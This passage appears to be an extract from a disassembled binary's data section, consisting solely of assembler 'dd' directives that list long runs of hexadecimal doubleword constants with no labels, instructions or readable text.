		dd 0A3E3AE91h, 6209B3D9h, 0C3A6E5C8h, 0A2318893h, 15AE4301h
		dd 445C21A6h, 418A698Fh, 10136FFFh, 5BF6434h, 22CF2049h
		dd 6A4A6CE4h, 0A57C875Eh, 0B61082D2h, 9C0428A4h, 0B8717DBEh
		dd 862364E3h, 8352D5EBh, 0F8D26B67h, 0AD938A62h, 5AB69951h
		dd 7B0F5021h, 5AA5D0E1h, 0E270EB0Ah, 34ABB254h,	0A47F11Ah
		dd 7DB6E54Ch, 0EAF4B67Ch, 5A9B8751h, 0C0CC83DCh, 607527CEh
		dd 1784E308h, 194088C3h, 0D34B7BFDh, 6E48AFF7h,	4F2D0272h
		dd 89C43417h, 73002BB0h, 0A52743CDh, 0C5E8D718h, 39DD8445h
		dd 400C761Dh, 3FAF25DEh, 0A2437505h, 48B1C350h,	0A5D4B147h
		dd 0DCE6AF09h, 82247E38h, 0DAEDE193h, 0F8723175h, 57F0458Ch
		dd 0A8522808h, 76B08BB4h, 187DA445h, 593BC07Bh,	0AA43473Ch
		dd 93B2253Bh, 21D56D6Dh, 0C718EA25h, 0E06C5D39h, 450BB367h
		dd 0C049C4E8h, 9FFAD64Fh, 0AE916D1Bh, 4DE1488Bh, 89605144h
		dd 0D6DF95EBh, 47E0657Fh, 14586114h, 0D45C4536h, 0AB7B93B7h
		dd 21EB0438h, 33AE0197h, 970A43DBh, 4FDB5E2Ch, 21AC7F1Eh
		dd 0C925F22Bh, 0BDC713Dh, 0E6C7C9E6h, 0C0BCBFCAh, 0B8849131h
		dd 5CB7B006h, 927B3F8h,	0B571E72Bh, 0C3705A2Fh,	13CAB28Bh
		dd 4B6A8827h, 97D5E781h, 0E21ED0C3h, 810E8BCFh,	689573DAh
		dd 0E2569D5Fh, 32AB2D9Eh, 78C6C8Ch, 3B5D235Ah, 3F7DDB30h
		dd 0B8BA720Bh, 0A004E3F4h, 3651A838h, 25FF2999h, 0FD7EBD60h
		dd 7452FC38h, 0FB7083Ah, 0D9F06891h, 77512772h,	7336DA4Ah
		dd 75B1BC5Ah, 0BF4629C8h, 4E396F2Eh, 6A70B908h,	6DE0FB4Fh
		dd 810AEF91h, 9016DEE3h, 0B9FEB2A9h, 0AF1A1798h, 0CEEAFB5Ah
		dd 1511FB01h, 720289FAh, 31B79302h, 85AC8C52h, 212DD0Dh
		dd 0A2F65DF1h, 0BE53E532h, 0EDE55F08h, 0D92922D7h, 14527FD6h
		dd 2DA3D919h, 0AFF85785h, 0FBEA0841h, 0D0F51429h, 8EB55766h
		dd 20A1574Fh, 41411579h, 0E459D1EBh, 0C4AE5D7Bh, 203A3494h
		dd 0A68AE911h, 0AEF1CF3Ah, 633F0EF3h, 0C9F55C96h, 0F56E1EADh
		dd 231A63BAh, 728A72BEh, 9FB17F1Ah, 53640AA4h, 0E6D318A7h
		dd 9007E3B0h, 0E485EA0Ah, 954AF423h, 0D4BB5F0Fh, 0D35F20DCh
		dd 820622CCh, 813FA5CEh, 56B4BE37h, 97E951F4h, 6099FABh
		dd 0E5E6CCDBh, 0C9C2A6E6h, 61F54E84h, 3228AFB4h, 0DCC09689h
		dd 44E61465h, 6262CD83h, 7B51CFB2h, 1F8610FBh, 452AC747h
		dd 4CB837FDh, 0BE87ADA6h, 0E575CA5Bh, 1CC6AE89h, 0BFBF1716h
		dd 7F9BC81Eh, 0A20E710Dh, 76AFDB61h, 0DD1B69ABh, 3CD759ABh
		dd 128C535h, 0AA280F1Fh, 0A347ADA9h, 0BFFDC568h, 1FB32E2Eh
		dd 0E358CD25h, 95628DE0h, 0E2EF649h, 59AEF68Dh,	0A9FF6B49h
		dd 0BA354444h, 0FB41EF90h, 0B1054791h, 58A73F9Eh, 49952D70h
		dd 0EC6ADDF0h, 0A5D49673h, 0B6ABCE78h, 73BF5711h, 6E6C780Ch
		dd 0B9E2A008h, 9A2F010h, 0CCFD9539h, 3116CCA2h,	8B815263h
		dd 0FA4A38A4h, 2F7B5DEDh, 3D9846DCh, 496EF290h,	6A09DABh
		dd 18E08B90h, 0FF9B53E7h, 6FEBC8D1h, 7ACA2EE6h,	0D42ECE02h
		dd 0DEBB15Dh, 93B27995h, 0CB793A0Dh, 0A7B3DBE2h, 0BB28DCE3h
		dd 3C775241h, 5407FDBDh, 0AE9BCFDDh, 0B68219D1h, 0AD03AEF2h
		dd 0B2829873h, 6C6F5A69h, 7B5EB748h, 0C622B870h, 0C8EC3671h
		dd 8371E8C4h, 0B868A5B2h, 4C2D640Bh, 597EEC69h,	42A51D62h
		dd 97BB6CA9h, 0BE4ECD6Bh, 7D1F9634h, 85CD5749h,	519334FEh
		dd 0A277190Ch, 0A8DB9091h, 2EFE2AD2h, 0F4773931h, 9BFB9A19h
		dd 0A19E0597h, 0D10C7898h, 36824E2h, 0B50E108h,	0F34107AAh
		dd 4A8D4EBDh, 2F16E163h, 0DAEDE208h, 0D0D590FCh, 0E547AF4Fh
		dd 4223E4ECh, 0C5091CB3h, 0D8BDD015h, 93BF4FCh,	0D6119F6h
		dd 49D71953h, 0B2FB755Ch, 0C0390E60h, 3784D988h, 80312252h
		dd 94598A7Bh, 92CD4017h, 1EE33932h, 0E5536EF5h,	0C45EC176h
		dd 6777B02Ch, 7F664AF3h, 22BD3DC0h, 62469885h, 0E7EEBDF0h
		dd 142EC75h, 0A83C9CA0h, 0F016E25Bh, 7A26512Eh,	654663FDh
		dd 0C1C289CCh, 6D6FA8A0h, 84E9CF6Bh, 8ACAC711h,	84FAC38Eh
		dd 0A9C57505h, 8F4304B8h, 3BDE9FCAh, 2A0E5F11h,	65721C90h
		dd 0E0BF162Bh, 78E87C42h, 8F52A50Fh, 8D43744Bh,	642C6757h
		dd 0F00F6FCDh, 1D991EFAh, 0B6911BD3h, 8A69D2D5h, 7F0D57EFh
		dd 7ABA0B43h, 6384F390h, 0A43292Ah, 25A188C6h, 0FDBD8756h
		dd 0A854BC17h, 860C09D2h, 831A7F90h, 36AE7762h,	1F874D86h
		dd 421A8291h, 0C3662C3Bh, 59963C8Fh, 1DF6F4C6h,	989D4B4h
		dd 0BCBF6FE0h, 0ED3FDFE8h, 41970B2Ah, 0FA50FD15h, 4B811D2Ch
		dd 93AF352Ah, 9D3AEF3Fh, 0EFA43C93h, 3CC4FF2h, 3DF92634h
		dd 2651602Bh, 7E77D2F2h, 0F9D4F348h, 2243854Dh,	0D25DC5E1h
		dd 0F0CA6A1Eh, 694C7352h, 748836EBh, 6C8B2C11h,	7023CF93h
		dd 0D9565905h, 0D4C33C96h, 6AD01395h, 0F1D1E133h, 0CD67373h
		dd 2F8DF472h, 43871A05h, 0A7A4E98Ah, 232E3970h,	45D711C2h
		dd 0B0667F2Ah, 9B881669h, 0A3CF7964h, 63ECC506h, 7264F4ACh
		dd 0D9D2D2D9h, 0DF6FD9A7h, 0B5CC0291h, 0FD6D48C2h, 7E7FB3EBh
		dd 4AF4EBF3h, 213C4056h, 7497C044h, 29DDE151h, 0AFF1F6DDh
		dd 255E5726h, 0B60AAA42h, 0D39D281Ch, 91039167h, 0A60B84DEh
		dd 4EDC67F5h, 57B4F122h, 0A0FE4C3Ch, 0EF5C993Ah, 0EA84AB04h
		dd 72CDB48Ch, 0C4E63CE2h, 5C6AAF5Bh, 195D3683h,	4748071h
		dd 0F43EF243h, 0C8F182A3h, 0D34A6B59h, 8496A2DDh, 0B5E653D7h
		dd 0CEBD7BFDh, 8646C6D4h, 730F5296h, 4C8D650Eh,	0A8D63850h
		dd 2B3C5F60h, 7DECC10h,	0EA7FB553h, 0F710B2D2h,	8C175236h
		dd 9897461h, 6177555Ah,	0CF11E54h, 8CCEBE8Dh, 5DC198BBh
		dd 14D2610h, 6425F4F0h,	0ACFA9BBFh, 0B5862A79h,	0BDD47367h
		dd 8153739Eh, 0B7BB50E1h, 62855B75h, 0DE8D3B77h, 3BD675BFh
		dd 4C4D47E3h, 0BB377169h, 89522AA6h, 0B37ED56h,	0F0C03775h
		dd 32B80DDEh, 0F3530A11h, 9D0445D0h, 4389FEE4h,	16674EEAh
		dd 0A8CD0BFFh, 21A54E00h, 1FF945EEh, 6DA4268Fh,	6C4E276Dh
		dd 2C77CAFBh, 0E2B5C0h,	86B8DDF3h, 0F60A827Ch, 0F0A841B6h
		dd 529FA152h, 396F462Fh, 0A53A6F54h, 0EA619FA9h, 6BBE6E8Eh
		dd 953AE022h, 500B9027h, 0D76AEDABh, 25F6F223h,	0E8F8662Fh
		dd 91CE993Eh, 2FB47E7h,	92844859h, 9EC6AC5Ch, 7117BBACh
		dd 9960FCEEh, 9309A31Bh, 0CD0106FBh, 150F789Fh,	0F55428BDh
		dd 4820D432h, 23A3EE32h, 523FE430h, 0C18E6F89h,	2A7409Bh
		dd 6832C711h, 0C27C0146h, 0C1E54B3Fh, 5D279CC4h, 0DD8704ADh
		dd 2010B707h, 0CBD50A86h
		dd 0CD9BE60Ah, 0C1B1C99Dh, 98E0161Ah, 8998B46Bh, 0C7541A15h
		dd 0AE6A99A6h, 5EA05F56h, 0F7574459h, 5B8F1C23h, 24BAE995h
		dd 0AE148601h, 8CB2C3E8h, 23596491h, 0BDB5A363h, 182A65F8h
		dd 63297257h, 0AC1CBD95h, 91E2131Dh, 36A1360Eh,	0B48A9013h
		dd 9F85515h, 75FBB8B7h,	0D1FAA3D6h, 34B6588Dh, 6353F46h
		dd 56759CE3h, 786A55BFh, 8B0A1841h, 0DAF8618Ah,	76F8A92Bh
		dd 0B58BA099h, 8CB53B0Dh, 424A0B05h, 1D6EF685h,	0CF47BC9h
		dd 1587DBA1h, 24950507h, 311E2953h, 66E90CF0h, 0E8336C9Dh
		dd 0B0BBF591h, 9DBD44E8h, 0C1451474h, 2178915Eh, 298DF95Dh
		dd 75C39D4Eh, 325A0018h, 205812B7h, 93E7D8CFh, 8F3FE373h
		dd 7888D720h, 0BEBC6F66h, 0FC34C918h, 3EE530A3h, 81A371D2h
		dd 0ABC33A48h, 64944D20h, 4508E7DFh, 9139899Eh,	42FBE300h
		dd 0B37DDFA7h, 3871BD83h, 80609576h, 7748C824h,	9DCB9284h
		dd 0C845736Bh, 0B8AF8AD7h, 0DD69284h, 2E34B9D5h, 0FFE289B3h
		dd 4B6F1D2Ah, 7136DEEFh, 0A7A6DE26h, 961DEAC8h,	8C171E0Fh
		dd 0B211454Ah, 11101274h, 93FC7DCh, 758D46E4h, 48DA8143h
		dd 0F6D5DDF3h, 2EA180BDh, 0B460489Eh, 0F9144BDEh, 0C47A0338h
		dd 0EEA26295h, 0A6F6A401h, 12B49AABh, 8D30C78Fh, 6424F9A8h
		dd 188752C1h, 6B1AF414h, 0FEB44AE3h, 5FDBB97Eh,	0CE6BC269h
		dd 0A7A66FAh, 0EFC00AA5h, 828BA887h, 0E592F204h, 4CC3AC54h
		dd 0A90A4248h, 1B876530h, 0E139CC39h, 0C6BF7F58h, 0E14E63FEh
		dd 0CC6EBE0Ch, 0A90172C2h, 0BB2BC98Ch, 95617FA7h, 3EE5A12Ah
		dd 9B1C189Dh, 30DDB0C9h, 7B455587h, 0C7D1008h, 0CDFCDB0Ch
		dd 62D1D1D4h, 9D957B90h, 0F784A816h, 1A495214h,	0FED3517Bh
		dd 1EF475D2h, 0CCD57408h, 3A9AAF0h, 0C31FEA86h,	627D477Dh
		dd 90ADCA0Fh, 5C08D15Dh, 0FB6BC49Ah, 9E6228D6h,	0FEAD03CBh
		dd 82C1DF7Ah, 50333AA7h, 0DD592FD1h, 9CD79948h,	30064F68h
		dd 488D83D1h, 9FB2CF0Fh, 3AD51AC2h, 0F15A5910h,	93D31FE2h
		dd 4781EBB6h, 80BCCAF8h, 0BD0DB380h, 86CCE534h,	48DA61D9h
		dd 0C0739BE8h, 3DF36396h, 0DE2ECE0Eh, 0DE1AD557h, 0AEA2C040h
		dd 0A6721B63h, 0D2B75DF4h, 0A220A76Ah, 94223014h, 52A35178h
		dd 0F8CE289Eh, 0D24D62EFh, 0ADDFCA45h, 3D6C4FDDh, 11336CA6h
		dd 642A5997h, 0A7AF1F16h, 672CBC21h, 8CD835CEh,	39625F51h
		dd 8AA91CA9h, 76B283CAh, 888B322Fh, 8E1C139Fh, 0C2650E0Bh
		dd 0D27DAE0Ch, 8B9D54D1h, 0FF2AE7B0h, 0C86A9B1Eh, 7065C35h
		dd 4547B8ABh, 8DE7139Dh, 41768587h, 8DF9E5Dh, 0A3D66577h
		dd 854A2748h, 6B3DFB51h, 0F5160A8Ch, 20A30E75h,	13245D6Ch
		dd 6661E133h, 0AFDBCE4h, 77151CBCh, 0DD0BA5A1h,	0AEC3DB80h
		dd 1A792EC5h, 0F08A65BDh, 0C089389Ah, 57D946D5h, 823586EBh
		dd 5061B34Fh, 0A22035DCh, 5445F126h, 1A075A3Eh,	0ADD7DB3Dh
		dd 0F5EF7D45h, 9FF5F5B9h, 7E3C0C98h, 19235907h,	0F209E4D8h
		dd 46ABFC30h, 1FDC821Eh, 0F44D69E5h, 0BC764AE4h, 5DFCF2BCh
		dd 0DEE953h, 358AB6F5h,	0FF921E7Ah, 6C8BE8D7h, 8B059306h
		dd 85AC1718h, 0BC923F34h, 0D9B6976Dh, 0D795EC41h, 13644AE2h
		dd 745B6771h, 0D4B2A4FDh, 4D8D2356h, 0DF28F7DFh, 0D78C083Ch
		dd 2CDECB8Ah, 40837C45h, 198355A4h, 0D44C1F8h, 0C0408B0Eh
		dd 0FA031ED9h, 9920A6ECh, 65DE40D2h, 14A60B09h,	0A5DD8129h
		dd 44DAA3AEh, 7FE0BB18h, 6340E1D3h, 189ED624h, 9B7A275Ch
		dd 21510666h, 0C742BD14h, 0BDA41787h, 9FC96BFFh, 4B07D228h
		dd 1B797C8h, 8D772EBEh,	37FE5320h, 8CEA7232h, 31B3B4A7h
		dd 0D9F92DCh, 5E4812Ah,	7EB9EC5Bh, 45AED7E2h, 9E791BAFh
		dd 0EB159C8Fh, 791D506Ch, 0D6822B6Ch, 24E6075Ch, 2F825048h
		dd 727D62CFh, 7ECF557Ch, 5A54D357h, 0AFE6B820h,	722683EAh
		dd 1D637CBFh, 0F5D958Ch, 0E7B9F8A7h, 0AABF8D7Ch, 1717FA57h
		dd 7190360Bh, 4FF92A0Bh, 0A6ECF33Ch, 9B3BA94h, 30ADDC18h
		dd 92D2ADB9h, 3CE9D9EEh, 702F691Ch, 0C2731967h,	723FCAD9h
		dd 88A294F3h, 0C9289C26h, 99B547E3h, 0F6BDBB7Ch, 0BD1E9AE7h
		dd 2655579h, 9DB5CD6Ah,	0B52A8C89h, 0CB93E5BCh,	88D19DD3h
		dd 0FEE857C9h, 41844300h, 1FB14783h, 47BE992Eh,	0F59830D5h
		dd 136A6D65h, 79523B34h, 0E6DE3E26h, 69A6B4DFh,	7F47447Bh
		dd 11DFF20Bh, 0EDC8CCC1h, 8872ABA7h, 6BA8FCDFh,	0FB6C3958h
		dd 0B42C3261h, 0B9CFB2C7h, 0FE5E20A7h, 0DE031764h, 89F87249h
		dd 68725BF6h, 3B1FF59Fh, 13B85D94h, 7A472A7Ah, 96CC2B3Bh
		dd 73C16EB1h, 0A5B13BC7h, 0BCE06231h, 0DAD61219h, 532032C0h
		dd 803A6BDFh, 94E5F4FAh, 0DF734A0Bh, 0AAE313F3h, 6A175B3Ch
		dd 0CFDE3B83h, 0DA0B4701h, 72B821F6h, 6119CB2Dh, 0ECBF37A5h
		dd 801490F4h, 2D8718F8h, 5ADE8F72h, 6BA58C52h, 8FE9FE7Eh
		dd 0B3811901h, 72F9D0DFh, 0A3941A8Dh, 824A401Bh, 10AE2DEEh
		dd 8DA0B117h, 3FB00228h, 9D19CDCCh, 0F0F155DFh,	0ABE31F2Dh
		dd 44DD1F2Bh, 4C44B996h, 0A2F5E581h, 0F066A42Ch, 0E4E90DD1h
		dd 75878390h, 2A9BE9B5h, 6BF6CFEFh, 0A1B9F13Bh,	50F44871h
		dd 4366DBDEh, 1BFC00C1h, 670B2BEAh, 0A5D97029h,	0D4BC298h
		dd 2549A76Eh, 0D250F638h, 0A8666BE6h, 2AEDABCDh, 0AEC4AFA3h
		dd 0A8057B3Dh, 84E50333h, 30E47213h, 25DBBBD5h,	64993E4Eh
		dd 3A7F0BCBh, 0F02E4DC2h, 0DF624F59h, 0E0C8D8EFh, 0FAB669B1h
		dd 33C594F9h, 4988887Eh, 40EACC70h, 72F3C6B4h, 0F87AB629h
		dd 0E8A24968h, 1290389Ch, 0EB969854h, 607BFC66h, 0A9D76E08h
		dd 3F2F6C97h, 0CDC53853h, 6E6031F3h, 0FF787E04h, 0EBFEAFE5h
		dd 7722BA2Dh, 0ECB3DF34h, 8805C04Ch, 0FD80D926h, 433E7CD5h
		dd 4E7AD52Fh, 6B8BD080h, 3A892906h, 0BE3537DBh,	7E4EAA15h
		dd 87DE1916h, 8F50B4CBh, 29E0D58Dh, 78506D58h, 79AB8A92h
		dd 0D8E22CABh, 0B423CAC6h, 102EDDEEh, 0A5EAE24Eh, 41DD38CBh
		dd 66CEF79Eh, 44EA11B8h, 9DB64997h, 6A7CB9F7h, 7EB2A307h
		dd 3AB884AFh, 0E2D65748h, 0E4D69314h, 14D20C6Ah, 0BEEC3445h
		dd 0EDE3B99Eh, 2002BD15h, 4FFC67FAh, 0AAF2D8A5h, 0F4606A60h
		dd 0A0EB1476h, 25EEF9A0h, 66B218Fh, 9FD5E8A7h, 51FD8255h
		dd 0F03D8D5Ch, 0B7B6CFA1h, 9D70EFB6h, 2F885DEBh, 6FF4122Eh
		dd 0B104885Bh, 0EA2809D7h, 0C6A62A8Fh, 0B94913A1h, 888DA1C7h
		dd 8D988737h, 0F5F251D7h, 52B293EFh, 60DC7EB3h,	8EEAE48Bh
		dd 0FB1150EFh, 0A647DD82h, 0C8CFD82Eh, 6EF77320h, 3C00C623h
		dd 0D08D215Fh, 333BFD10h, 0BF2D6347h, 0D23A64ECh, 0B1CD3234h
		dd 0EECA6176h, 233DC1C5h, 2B5BC221h, 77952324h,	0B0CC26CCh
		dd 9A4E0182h, 2AD54613h, 77A2FBDh, 814126C5h, 10917D17h
		dd 79039873h, 1B879806h, 0EB02F957h, 22FD3285h,	1318B5D8h
		dd 0DB59FC6Ch, 19187C0Eh, 19BA088Fh, 40602F7Ah,	9F02E135h
		dd 36A102Eh, 22C4214Eh,	4F609FECh, 0AB4C396Eh, 0B9D88FDh
		dd 7620BA38h, 9C5A6EC4h, 3F0F2F6Ah, 5FF9E71Fh, 0C56C0311h
		dd 0CA7BF3F5h, 47085BAFh, 0C70B75E0h, 9FA88FFDh, 2457C1ABh
		dd 0B40B8040h, 0D103327Bh, 27EDB893h, 97D62140h, 8A00A017h
		dd 7828AA74h, 618713B4h, 79B4C65Fh, 0E5F81203h,	0D3E08835h
		dd 6A94E7E4h, 4E030B9Fh, 0BA6F8DB5h, 3FB1D65Ah,	0D34AF90h
		dd 0B6945659h, 3E0D2FECh, 0FEF1DEB1h, 62EB9F7h,	0F54A5E85h
		dd 13A6E8A2h, 0B95DED55h
		dd 82C1106Eh, 1DF39044h, 6FA1EDD4h, 0AA31A761h,	104C8C4Dh
		dd 715AF388h, 0A134308Bh, 0E9F422Eh, 8076D6Eh, 4DEF1F17h
		dd 4774DAD1h, 0C2603A09h, 4C63EF4Bh, 0DF967984h, 36D1A330h
		dd 0FBFFD8A8h, 4A79132Bh, 7E5C3D77h, 5DA35433h,	2D830FA3h
		dd 99ED1127h, 0DAE1B77Eh, 79741226h, 7FC9C84Eh,	0CBD0B4CEh
		dd 0F4A5EA0Fh, 0E5AEE6ACh, 5E934F47h, 1AAE970Dh, 3345C686h
		dd 733ABAB0h, 0E5271C95h, 77B22BA6h, 3D373DD2h,	0E256C0EBh
		dd 0D72F5024h, 0E9B2517Bh, 84684536h, 0F716D874h, 3FBDF900h
		dd 0CD6BE349h, 8E25D545h, 0E9C81E9Bh, 0BC811524h, 940A3CAAh
		dd 0A5B1F4A2h, 415B1CF2h, 0E3880F7Ah, 0A0B47F53h, 59B2CA4Eh
		dd 0ECF959C1h, 0B6CD5783h, 75E71AE3h, 0E35AE503h, 15436E6Fh
		dd 412C991Dh, 12363076h, 50FE71EBh, 807807B1h, 75A9F79Eh
		dd 0CC7BFE66h, 50670C5Bh, 0FE277E56h, 87A66BB4h, 202C9693h
		dd 1E7F870Fh, 0E20544BCh, 0ED75B69h, 0F1048182h, 0A5281F8Fh
		dd 0B90045FCh, 0BBCE928Ah, 8B749E13h, 0DC8C83D8h, 7031FECh
		dd 0E84765D5h, 6C9E581Ah, 8334ECEh, 4FBAD397h, 589B53B6h
		dd 0AA16AA8Dh, 0C0BED05Ah, 136BF3CCh, 2AED67FDh, 93C3F305h
		dd 85924434h, 0E2C0BD27h, 3702B84Ch, 0CE01EBB9h, 0F1907477h
		dd 0C73D937h, 78EF5A0Ch, 0DD56EC70h, 1E6E9AD2h,	0D81ACE35h
		dd 31AA8667h, 66058B1Dh, 2F446CC4h, 873E9CEDh, 27F1B084h
		dd 0A38D3A53h, 8088BA61h, 0D67B75C3h, 0C5572E3Dh, 0A45DE0ABh
		dd 0E65C81A7h, 0CE41C166h, 0A0E21615h, 0D070B2B5h, 73E0F2D9h
		dd 84FD80EEh, 50AE1DB4h, 8FE7069h, 48C4AE6Eh, 0A508B183h
		dd 0DFDABA48h, 8E77CBF3h, 0BD1E7032h, 0F3E1DBFAh, 65D3964h
		dd 2DFAC785h, 824D646Eh, 9FF7B8C9h, 572384D0h, 0FF1DB64Ah
		dd 0B17C1FB2h, 92D818B9h, 17715D11h, 7785245Ah,	0BCEF2AF2h
		dd 5FA0F0FAh, 0A148C886h, 26589B2Ah, 24366C62h,	1130CAA8h
		dd 4F8B2EA0h, 8BBA7B51h, 0E478B557h, 0DED305AAh, 2F3EEC8Ah
		dd 0DFA8472Bh, 23431A8Ah, 17C233B4h, 6A47A063h,	0A4F1621Eh
		dd 68B8606Eh, 17E6A162h, 320B875Bh, 0E35C98CDh,	5E93A889h
		dd 43DC899Ch, 283A7F18h, 9CF78F4Ah, 0BC509385h,	0A9EEB78h
		dd 0A1E5D916h, 4DA3B84Fh, 0A3F70C7h, 0CA159402h, 3BD9A2C8h
		dd 0DF1C5F9Bh, 7F91FC50h, 9E861DE1h, 0F29E9A20h, 7000BA2Bh
		dd 0BA4432Ch, 0DA27E227h, 0F71961C4h, 0A42ADDCDh, 3020AD8Bh
		dd 8B26E55Bh, 0A0B7F810h, 2C22A9C6h, 0AF2AEFB0h, 0E1FBB455h
		dd 87CEACCAh, 0BBC8999Eh, 30F3B0B2h, 1D06F222h,	0DA5EDCA9h
		dd 0AB6966C3h, 32EC2A17h, 733BEC04h, 4CEDF1D5h,	0AB319B2Fh
		dd 2C7308D6h, 7F8C0897h, 149C5515h, 0B46F13D5h,	3CD45246h
		dd 0E2E22BF8h, 0A734E6E7h, 58302FEh, 68CE41B9h,	2A8B183h
		dd 0B95D8C3Ch, 84819D8h, 0E1278FF5h, 0B5AF48A2h, 27AD6F68h
		dd 0CDB8027Fh, 48DED80Bh, 6DE5D2A2h, 484EE77Fh,	337330F7h
		dd 766E9647h, 0D750A2D7h, 2FE0EF1Ah, 8369FACDh,	454D3C01h
		dd 2EAD7D29h, 0C22314A7h, 5D5B9C20h, 0FA8FEEE0h, 614E67FFh
		dd 2F5A20E7h, 9558239Dh, 0E62C840Eh, 9B37E758h,	0A6E832AAh
		dd 20C1831Ch, 123CD4Ch,	0E5EE42DDh, 0B3DA1F7Bh,	0CBF342C0h
		dd 0F016FE10h, 506A091Bh, 16C95FB4h, 96CBBF98h,	4CCE604h
		dd 0CED82F32h, 209CFA0Fh, 0BE381E4Eh, 1782EC8Eh, 0BE8AF8A0h
		dd 0AE3C054h, 5BE806Bh,	54F45FA1h, 5581B705h, 0BF00F0B9h
		dd 0E59B8D5Dh, 2A412393h, 0A53E07E2h, 0B9294990h, 4B8B9F8Ch
		dd 5364CEF5h, 77BC2DFBh, 0D0FAD221h, 0B429E044h, 80EB777Eh
		dd 97C94A13h, 84740ECh,	84E766D2h, 0B5971F69h, 0BCB7E6B0h
		dd 1A664E8Eh, 741BD54Ah, 654456A3h, 0FC9B3583h,	7B7F47BCh
		dd 0B3BCA59Fh, 65315DC3h, 36387DDBh, 0CCC5ADACh, 496F64Bh
		dd 0D8E6C59Eh, 0CD3FE391h, 0F719A4C2h, 0D3E74797h, 94DE3CACh
		dd 6174F118h, 9A3CD93Dh, 976CAF58h, 4838469Dh, 24B8C068h
		dd 921AB87Eh, 658F4CE1h, 0A4EBB324h, 7DF1067Ah,	23C0DDB6h
		dd 784509BCh, 0C279AD5Dh, 0C326CFC7h, 660E69B9h, 63D70884h
		dd 218A6BD2h, 416D29AEh, 5C8FC284h, 637AD2F6h, 0C05BA96Bh
		dd 0B5ABC645h, 807BE7B5h, 0E7931879h, 0AE5CDA0Fh, 1F8E1562h
		dd 17E7220Dh, 0E79256FFh, 0E5FAFB27h, 6A7BC637h, 0B2565685h
		dd 0A3C345ACh, 0CB86294Ah, 0D33B17F9h, 74F6BBFFh, 3F9669BBh
		dd 0BAAD353h, 0EC63BDCDh, 27F1EBCCh, 0A7B92986h, 0EDB212h
		dd 25D13291h, 0B5363548h, 0EBDDD774h, 0AD5D8581h, 0B40D6E91h
		dd 70038A4Ch, 26BE36FAh, 494F7BFh, 505C4A1h, 7DCD781h
		dd 4658260Ch, 67AF54Ch,	40422A84h, 8541B4EBh, 0FFC28F24h
		dd 0A1FC2288h, 0CB455C9Eh, 99819649h, 0A28DCF9Ah, 0F622B087h
		dd 529147A6h, 20488B78h, 757D156Fh, 0E635C9F0h,	5B356F09h
		dd 0D731708Dh, 638C3AFBh, 0F00DF5DCh, 2A75D870h, 8CED13A0h
		dd 0D37799E7h, 0A953FE10h, 364556B1h, 16B5A919h, 0A63A8358h
		dd 0B6C07C34h, 0D910E107h, 72A413E5h, 859FF3B7h, 8709FF57h
		dd 1F1DB97Bh, 1CA7FD41h, 6FBC98C2h, 30B19ABFh, 717ECC54h
		dd 149EDF89h, 94996A3h,	0DCD611A5h, 5C1685AAh, 0E7508A76h
		dd 0A0B1706h, 713ED181h, 0D4C5F7FAh, 31758E41h,	8DDE6D8Fh
		dd 0E2DAE2BFh, 0AEF67Ah, 33F5187Dh, 0C86C14FAh,	0F66A5016h
		dd 9471ED9h, 0ED651F20h, 429F9A99h, 2EF0B6C7h, 66FAD882h
		dd 24FD3C84h, 99171A5Eh, 9524FF6h, 5800F1ABh, 0D17060DDh
		dd 0BD0C7ABEh, 4B5512A8h, 6A48278Ch, 740711EBh,	0DC88275Fh
		dd 0CBD70F62h, 74E4E14Ch, 219493FEh, 26E3B1A1h,	6657428h
		dd 1A9D452Ch, 0E88413D9h, 0A0882B7Bh, 0A1E9D06Bh, 0F7B870E0h
		dd 1A425F97h, 7BAF0A6Ch, 0D55D355Bh, 0D2369852h, 0AE64E4BDh
		dd 388F7E01h, 0A143FBA7h, 831E1BE2h, 0EB63888h,	0FDA3001Dh
		dd 2606BF37h, 80C28C16h, 9640119h, 0ED07AE19h, 0ED0A1557h
		dd 978E704Dh, 0A298C4B6h, 0C08093FCh, 0B47BC446h, 3B12F61Ah
		dd 0E7F21977h, 708FC253h, 8DB9203Bh, 0E1BC960Fh, 91000B31h
		dd 7FD19820h, 406DFD83h, 0B0D5FE8h, 5CEC3D90h, 20EE481Ch
		dd 0E1ED582Dh, 0D071D6D6h, 58F941F3h, 0C3C7BF53h, 0AC1AEB3Eh
		dd 0AB1B6E9Ch, 0AA2F1F80h, 5AC80E60h, 0C9A6DAB8h, 0F0135548h
		dd 0B23CD748h, 9212513Dh, 5822EB23h, 0B845297Fh, 91F2B53Ah
		dd 6C8D3C37h, 808301E4h, 0AF9AC8B6h, 0E9004B5Dh, 6786C35Dh
		dd 0A0F0987Bh, 33A4A0F7h, 0DFB19E0Bh, 0B5F1F2B4h, 0B7F6DDB6h
		dd 0C7253F65h, 49E58809h, 5694CDB4h, 2E4657EBh,	40BB3D0Fh
		dd 62B95E38h, 46A5A475h, 626BFDDFh, 4BCFB49Eh, 96F9D747h
		dd 480FC86Fh, 1F5EC27Bh, 55BB379Eh, 3E7FABAAh, 9C989758h
		dd 0BEC4DAE7h, 0EA9CFF18h, 0AFDD67C3h, 0A1DB7E93h, 8DF72B7Dh
		dd 0E8E08496h, 0E5555FB1h, 0C778328Fh, 90EE3991h, 34CCFEE6h
		dd 0C300F469h, 0E46C6F08h, 0D9022289h, 39696E55h, 0E8494644h
		dd 2BE242C3h, 14CA43BAh, 0B3F03442h, 0B91C6009h, 3C430F60h
		dd 8AE11E8Dh, 0A4A2D9CAh, 4A99856Dh, 0E612044Ah, 24D9A693h
		dd 0AE031C49h, 5F9D67E8h, 2B9DE823h, 0D5D1D521h, 0AC9A0276h
		dd 8FA535B2h, 4F4D7A9Ch, 0AA599BB1h, 823FDB27h,	903DA65Ah
		dd 5BB0B8C6h, 19AE5045h, 25C7468Fh, 24885C61h, 7AFB2CB8h
		dd 4CF6EF98h, 0C97E4562h, 4DF9108Bh, 0D76FFA4Eh, 0E8312F5Fh
		dd 0E6FF8C49h, 0ACA16FE3h
		dd 0FEB5E54Dh, 6C429E17h, 0E5822F2Bh, 400874F4h, 0E822B691h
		dd 122947EFh, 0E829D1Eh, 0B3D46DE7h, 0CB714555h, 0C2B5D935h
		dd 2B6D91B1h, 0C26AA285h, 32A69AE3h, 511E33E3h,	0A9D67527h
		dd 0E7C39AC0h, 4698B072h, 2F5AAE0Ah, 1B944498h,	2CB8EE88h
		dd 68BACF67h, 0D843C020h, 6B999177h, 0D261141Fh, 0ACA657C7h
		dd 0D34689Dh, 71826F16h, 2AABD9DFh, 949636A2h, 373465E7h
